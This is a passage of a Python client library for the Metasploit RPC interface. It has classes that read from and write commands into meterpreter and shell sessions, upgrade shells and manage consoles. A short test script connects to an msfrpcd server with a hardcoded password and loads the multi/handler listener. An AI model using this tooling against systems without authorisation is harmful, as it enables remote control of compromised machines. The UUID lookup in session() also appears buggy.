935 | elif mtype == 'post':
936 | return PostModule(self.rpc, mname)
937 | elif mtype == 'encoder':
938 | return EncoderModule(self.rpc, mname)
939 | elif mtype == 'auxiliary':
940 | return AuxiliaryModule(self.rpc, mname)
941 | elif mtype == 'nop':
942 | return NopModule(self.rpc, mname)
943 | elif mtype == 'payload':
944 | return PayloadModule(self.rpc, mname)
945 | raise MsfRpcError('Unknown module type %s not: exploit, post, encoder, auxiliary, nop, or payload' % mname)
946 |
947 |
948 | class MsfSession(object):
949 |
950 | def __init__(self, id, rpc, sd):
951 | """
952 | Initialize a meterpreter or shell session.
953 |
954 | Mandatory Arguments:
955 | - id : the session identifier.
956 | - rpc : the msfrpc client object.
957 | - sd : the session description
958 | """
959 | self.id = id
960 | self.rpc = rpc
961 | self.__dict__.update(sd)
962 |
963 | def stop(self):
964 | """
965 | Stop a meterpreter or shell session.
966 | """
967 | return self.rpc.call(MsfRpcMethod.SessionStop, self.id)
968 |
969 | @property
970 | def modules(self):
971 | """
972 | A list of compatible session modules.
973 | """
974 | return self.rpc.call(MsfRpcMethod.SessionCompatibleModules, self.id)['modules']
975 |
976 | @property
977 | def ring(self):
978 | return SessionRing(self.rpc, self.id)
979 |
980 |
981 | class SessionRing(object):
982 |
983 | def __init__(self, rpc, sessionid):
984 | self.rpc = rpc
985 | self.id = sessionid
986 |
987 | def read(self, seq=None):
988 | """
989 | Reads the session ring.
990 |
991 | Optional Keyword Arguments:
992 | - seq : the sequence ID of the ring (default: 0)
993 | """
994 | if seq is not None:
995 | return self.rpc.call(MsfRpcMethod.SessionRingRead, self.id, seq)
996 | return self.rpc.call(MsfRpcMethod.SessionRingRead, self.id)
997 |
998 | def put(self, line):
999 | """
1000 | Add a command to the session history.
1001 |
1002 | Mandatory Arguments:
1003 | - line : arbitrary data.
1004 | """
1005 | self.rpc.call(MsfRpcMethod.SessionRingPut, self.id, line)
1006 |
1007 | @property
1008 | def last(self):
1009 | """
1010 | Returns the last sequence ID in the session ring.
1011 | """
1012 | return int(self.rpc.call(MsfRpcMethod.SessionRingLast, self.id)['seq'])
1013 |
1014 | def clear(self):
1015 | """
1016 | Clear the session ring.
1017 | """
1018 | return self.rpc.call(MsfRpcMethod.SessionRingClear, self.id)
1019 |
1020 |
1021 | class MeterpreterSession(MsfSession):
1022 |
1023 | def read(self):
1024 | """
1025 | Read data from the meterpreter session.
1026 | """
1027 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterRead, self.id)['data']
1028 |
1029 | def write(self, data):
1030 | """
1031 | Write data to the meterpreter session.
1032 |
1033 | Mandatory Arguments:
1034 | - data : arbitrary data or commands
1035 | """
1036 | self.rpc.call(MsfRpcMethod.SessionMeterpreterWrite, self.id, data)
1037 |
1038 | def runsingle(self, data):
1039 | """
1040 | Run a single meterpreter command
1041 |
1042 | Mandatory Arguments:
1043 | - data : arbitrary data or command
1044 | """
1045 | self.rpc.call(MsfRpcMethod.SessionMeterpreterRunSingle, self.id, data)
1046 | return self.read()
1047 |
1048 | def runscript(self, path):
1049 | """
1050 | Run a meterpreter script
1051 |
1052 | Mandatory Arguments:
1053 | - path : path to a meterpreter script on the msfrpcd host.
1054 | """
1055 | self.rpc.call(MsfRpcMethod.SessionMeterpreterScript, self.id, path)
1056 | return self.read()
1057 |
1058 | @property
1059 | def sep(self):
1060 | """
1061 | The operating system path separator.
1062 | """
1063 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterDirectorySeparator, self.id)['separator']
1064 |
1065 | def detach(self):
1066 | """
1067 | Detach the meterpreter session.
1068 | """
1069 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterSessionDetach, self.id)
1070 |
1071 | def kill(self):
1072 | """
1073 | Kill the meterpreter session.
1074 | """
1075 | self.rpc.call(MsfRpcMethod.SessionMeterpreterSessionKill, self.id)
1076 |
1077 | def tabs(self, line):
1078 | """
1079 | Return a list of commands for a partial command line (tab completion).
1080 |
1081 | Mandatory Arguments:
1082 | - line : a partial command line for completion.
1083 | """
1084 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterTabs, self.id, line)['tabs']
1085 |
1086 |
1087 | class ShellSession(MsfSession):
1088 |
1089 | def read(self):
1090 | """
1091 | Read data from the shell session.
1092 | """
1093 | return self.rpc.call(MsfRpcMethod.SessionShellRead, self.id)['data']
1094 |
1095 | def write(self, data):
1096 | """
1097 | Write data to the shell session.
1098 |
1099 | Mandatory Arguments:
1100 | - data : arbitrary data or commands
1101 | """
1102 | self.rpc.call(MsfRpcMethod.SessionShellWrite, self.id, data)
1103 |
1104 | def upgrade(self, lhost, lport):
1105 | """
1106 | Upgrade the current shell session.
1107 | """
1108 | self.rpc.call(MsfRpcMethod.SessionShellUpgrade, self.id, lhost, lport)
1109 | return self.read()
1110 |
1111 |
1112 | class SessionManager(MsfManager):
1113 |
1114 | @property
1115 | def list(self):
1116 | """
1117 | A list of active sessions.
1118 | """
1119 | return self.rpc.call(MsfRpcMethod.SessionList)
1120 |
1121 | def session(self, id):
1122 | """
1123 | Returns a session object for meterpreter or shell sessions.
1124 |
1125 | Mandatory Arguments:
1126 | - id : the session identifier.
1127 | """
1128 | s = self.list
1129 | if id not in s:
1130 | for k in s:
1131 | if s[k]['uuid'] == id:
1132 | if s[id]['type'] == 'meterpreter':
1133 | return MeterpreterSession(id, self.rpc, s)
1134 | elif s[id]['type'] == 'shell':
1135 | return ShellSession(id, self.rpc, s)
1136 | raise KeyError('Session ID (%s) does not exist' % id)
1137 | if s[id]['type'] == 'meterpreter':
1138 | return MeterpreterSession(id, self.rpc, s)
1139 | elif s[id]['type'] == 'shell':
1140 | return ShellSession(id, self.rpc, s)
1141 | raise NotImplementedError('Could not determine session type: %s' % s[id]['type'])
1142 |
1143 |
1144 | class MsfConsole(object):
1145 |
1146 | def __init__(self, rpc, cid=None):
1147 | """
1148 | Initializes an msf console.
1149 |
1150 | Mandatory Arguments:
1151 | - rpc : the msfrpc client object.
1152 |
1153 | Optional Keyword Arguments:
1154 | - cid : the console identifier if it exists already otherwise a new one will be created.
1155 | """
1156 | self.rpc = rpc
1157 | if cid is None:
1158 | r = self.rpc.call(MsfRpcMethod.ConsoleCreate)
1159 | if 'id' in r:
1160 | self.cid = r['id']
1161 | else:
1162 | raise MsfRpcError('Unable to create a new console.')
1163 | else:
1164 | self.cid = cid
1165 |
1166 | def read(self):
1167 | """
1168 | Read data from the console.
1169 | """
1170 | return self.rpc.call(MsfRpcMethod.ConsoleRead, self.cid)
1171 |
1172 | def write(self, command):
1173 | """
1174 | Write data to the console.
1175 | """
1176 | if not command.endswith('\n'):
1177 | command += '\n'
1178 | self.rpc.call(MsfRpcMethod.ConsoleWrite, self.cid, command)
1179 |
1180 | def sessionkill(self):
1181 | """
1182 | Kill all active meterpreter or shell sessions.
1183 | """
1184 | self.rpc.call(MsfRpcMethod.ConsoleSessionKill, self.cid)
1185 |
1186 | def sessiondetach(self):
1187 | """
1188 | Detach the current meterpreter or shell session.
1189 | """
1190 | self.rpc.call(MsfRpcMethod.ConsoleSessionDetach, self.cid)
1191 |
1192 | def tabs(self, line):
1193 | """
1194 | Tab completion for console commands.
1195 |
1196 | Mandatory Arguments:
1197 | - line : a partial command to be completed.
1198 | """
1199 | return self.rpc.call(MsfRpcMethod.ConsoleTabs, self.cid, line)['tabs']
1200 |
1201 | def destroy(self):
1202 | """
1203 | Destroy the console.
1204 | """
1205 | self.rpc.call(MsfRpcMethod.ConsoleDestroy, self.cid)
1206 |
1207 |
1208 | class ConsoleManager(MsfManager):
1209 |
1210 | @property
1211 | def list(self):
1212 | """
1213 | A list of active consoles.
1214 | """
1215 | return self.rpc.call(MsfRpcMethod.ConsoleList)
1216 |
1217 | def console(self, cid=None):
1218 | """
1219 | Connect to an active console otherwise create a new console.
1220 |
1221 | Optional Keyword Arguments:
1222 | - cid : the console identifier.
1223 | """
1224 | s = self.list
1225 | if cid is None:
1226 | return MsfConsole(self.rpc)
1227 | if cid not in s:
1228 | raise KeyError('Console ID (%s) does not exist' % cid)
1229 | else:
1230 | return MsfConsole(self.rpc, cid=cid)
1231 |
1232 | def destroy(self, cid):
1233 | """
1234 | Destory an active console.
1235 |
1236 | Mandatory Arguments:
1237 | - cid : the console identifier.
1238 | """
1239 | self.rpc.call(MsfRpcMethod.ConsoleDestroy, cid)
1240 |
--------------------------------------------------------------------------------
/testmsfrpc.py:
--------------------------------------------------------------------------------
1 | # _*_ encoding:utf-8 _*_
2 | # __author__ = "dr0op"
3 |
4 | from pymsfrpc import msfrpc
5 |
6 | client = msfrpc.MsfRpcClient('msf',server='10.10.11.180')
7 | exploit=client.modules.use('exploit','exploit/multi/handler')
--------------------------------------------------------------------------------